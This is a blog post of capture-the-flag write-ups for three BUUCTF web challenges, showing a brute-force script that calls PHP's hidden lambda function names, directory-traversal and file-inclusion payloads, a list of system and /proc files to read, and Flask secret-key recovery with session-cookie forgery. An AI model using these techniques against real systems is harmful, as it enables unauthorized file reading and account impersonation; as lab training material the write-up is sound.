BUUCTF(27)

158 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

[SUCTF 2018]annonymous

进去后便是代码

<?php
$MY = create_function("","die(`cat flag.php`);");
//创建一个$MY的匿名函数,函数的作用是输出flag
//匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)
$hash = bin2hex(openssl_random_pseudo_bytes(32));
//生成一个随机数
eval("function SUCTF_$hash(){"
    ."global $MY;"
    ."$MY();"
    ."}");
//创建$hash会在eval函数中。与SUCTF拼接。形成一个新的函数名
要想拿到flag就只有调用SUCTF_XXXX随机数的函数名。或者直接调用$MY
if(isset($_GET['func_name'])){
    $_GET["func_name"]();
    die();
// bin2hex()函数把ASCII字符的字符串转换为十六进制值
}
show_source(__FILE__);

create_function()函数在创建之后会生成一个函数名为:%00lambda_%d

%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动

Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了

Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法kill掉旧进程fork新进程了) 在这个新进程里面匿名函数就会是从1开始的了

直接写一个脚本

import requests
while True:
    r=requests.get('http://1e28ca4f-5f7c-4e20-964c-f0e017e12d73.node4.buuoj.cn:81/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break
    print('Testing.......')

[网鼎杯 2020 半决赛]AliceWebsite

打开后一个有几个按钮的页面我们f12看下代码

发现是个action函数传参进行页面跳转的,至此就这一个可利用点

试试跳目录访问

?action=../../../flag
flag{68db3161-ef58-4282-b4de-5cb7dc22ecf7} 

  其实有种更简单方法

审计源码发现

<?php
        $action = (isset($_GET['action']) ? $_GET['action'] : 'home.php');
        if (file_exists($action)) {
            include $action;
        } else {
            echo "File not found!";
        }
?>
文件包含:?action=/flag

[CISCN2019 华东南赛区]Web4

Hello World! Read somethings

就去就是这个,我们看看跳转到哪里去

跳转到了百度???????

有点意思

/read?url=https://baidu.com

url有点奇怪,但尝试了很久没发现啥,看wp发现php erl没有这种路由应该是flask存在敏感文件读取

/etc/passwd  
用来判断读取漏洞的存在
/etc/environment
是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname
表示主机名。
/etc/issue
指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位置

于是我们试着读取一下

读取/proc/self/cmdline 
read?url=/proc/self/cmdline

发现app.py

我们接着读取

import re, random, uuid, urllib
from flask import Flask, session, request
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = True
@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! <a href="/read?url=https://baidu.com">Read somethings</a>'
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('^file.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m or n:
            return 'No Hack'
        res = urllib.urlopen(url)
        return res.read()
    except Exception as ex:
        print str(ex)
    return 'no response'
@app.route('/flag')
def flag():
    if session and session['username'] == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'
if __name__=='__main__':
    app.run(
        debug=True,
        host="0.0.0.0"
    )

简单审计一下,观看最后一段,我们要让session=fuck便能读取flag,但flag与file都被过滤了,知识点session伪造,至于怎么伪造还得分析一下

之前做过类似的题,session需要密钥,而密钥的加密方式已经告诉我们了

random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)

用了uuid.getnode()函数,搜了一下,是将mac地址转换成整数

先读取mac地址

02:42:ac:10:b9:db 

生成伪随机数

import random
random.seed(0x0242ac10b9db)
print(str(random.random()*233))

87.10381153912127

之后先抓个包,发现session值

 session=eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.YaoNHA.O2qrJs7Nizm2ziAyYgTArA-E-xo

被三个点分割,首先第一个base64解码一下(需要自己加=)

{"username":{" b":"d3d3LWRhdGE="}}

d3d3LWRhdGE=

就是www.data

中间是时间戳,最后面是安全签名

我们接着构造session,用之前的脚本

python C:\Users\XINO\Desktop\flask_session.py encode -s '87.10381153912127' -t "{'username': b'fuck'}"

运行完后

eyJ1c2VybmFtZSI6eyIgYiI6IlpuVmphdz09In19.Yaoaag.6zJhFPGJ2d0JmpKGdqTnOqQdPNI

改session即可